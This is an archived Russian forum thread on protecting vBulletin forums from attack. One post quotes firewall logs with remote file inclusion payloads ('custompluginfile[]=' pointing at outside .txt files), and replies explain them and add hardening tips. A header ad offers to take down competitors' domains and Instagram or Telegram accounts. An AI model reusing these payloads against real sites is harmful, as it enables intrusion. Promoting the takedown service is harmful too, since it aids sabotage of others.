УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ_OLD > Уязвимости > Форумы
Советы по защите форумов Vbulletin

Страница 2 из 3

Опции темы

Поиск в этой теме

Опции просмотра

#11

22.12.2008, 17:03

Dimon_Aka_Sexxx

Новичок

Регистрация: 22.01.2007

Сообщений: 18

Провел на форуме:
105006

Репутация: 6

Привет. После установки по твоей рекомендации product-firewall_vb_rs.xml
На почту начали сыпаться письма об атаках.

1||1229949655||212.99.231.50||t=8000/?custompluginfile[]=http://www.healthissue.info/data/id.txt??||||Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6

1||1229929340||69.73.165.48||custompluginfile[]=http://www.fileden.com/files/2008/12/14/2223639/id3.txt???||||libwww-perl/5.805

1||1229854362||84.21.71.133||custompluginfile[]=http://www.primet.ro/col_docs/readme.txt????||||libwww-perl/5.805

Как можно еще подстраховаться, а то уж очень много спамеров и недоброжелателей у моего форума ))

Зы.. и куда вбивать этот код, тот что выше...
Я просто поставил продукт http://allcheats.ru/product-firewall_vb_rs.xml
А куда вписать код который ты указал, не понял.

#12

22.12.2008, 17:29

mff

Познавший АНТИЧАТ

Регистрация: 12.03.2008

Сообщений: 1,379

Провел на форуме:
5866479

Репутация: 1809

Отправить сообщение для mff с помощью ICQ

ReanimatoR, спасибо! Отличная статья!

#13

22.12.2008, 20:14

[XMD]Fanat

Новичок

Регистрация: 10.06.2007

Сообщений: 14

Провел на форуме:
1514087

Репутация: 30

Отправить сообщение для [XMD]Fanat с помощью ICQ

Спасибо за статью. Пригодится.

#14

22.12.2008, 22:56

ReanimatoR

Участник форума

Регистрация: 27.08.2006

Сообщений: 223

Провел на форуме:
2154209

Репутация: 341

Отправить сообщение для ReanimatoR с помощью ICQ

Цитата:

Сообщение от Dimon_Aka_Sexxx

Да это предупреждения что ломают твою воблу. вот тип атаки, который заблокировал файрволл:
custompluginfile[]=http://www.fileden.com/files/2008/12/14/2223639/id3.txt

следовательно тебя пытаются взломать(скорее всего у тебя старая вобла и там куча дыр). впринцыпе файрволл спасает, но апдейться!

Если не хочешь чтобы сыпалось на имайл - отключи в основных настройках=)

#15

23.12.2008, 01:30

Dimon_Aka_Sexxx

Новичок

Регистрация: 22.01.2007

Сообщений: 18

Провел на форуме:
105006

Репутация: 6

Версия последняя в линейке
3.7.4
Какие еще хаки можно поставить... ?

#16

23.12.2008, 16:43

ReanimatoR

Участник форума

Регистрация: 27.08.2006

Сообщений: 223

Провел на форуме:
2154209

Репутация: 341

Добавил три "дешевых"(но тоже имеющих свое право на существование

) пункта с vb.org:

11) Отредактируйте config.php, впишите id администраторов в поле undeletable user(неудаляемые/неизменяемый пользователи).

Описание:
/vb/includes/config.php. Просто вписать id администраторов, после того когда внесли все необходимые изменения в профиль.
Почему?: -

12) После удаления модов/хаков не забывайте удалять файлы, которые Вы закачали вместе с ними.

Описание: -
Почему?: -

13) Никогда не сохраняйте бэкапы в папке public_html.

Описание: -
Почему?: Они будут доступны для скачивания любому, кто узнает имя бэкапа.

Последний раз редактировалось ReanimatoR; 23.12.2008 в 16:46..

#17

23.12.2008, 16:48

Isis

Флудер

Регистрация: 20.11.2006

Сообщений: 3,316

Провел на форуме:
16641028

Репутация: 2371

Умничка, Миша)

#18

06.02.2009, 02:48

Validol

Участник форума

Регистрация: 15.12.2006

Сообщений: 212

Провел на форуме:
587761

Репутация: 144

Первые три пункта я у Devil'a на vbsupport видел. Он тестировал мою воблу на уязвимости. Первые три пункта я и словил. Остального не видел. Статья и вправду хорошая, если своя.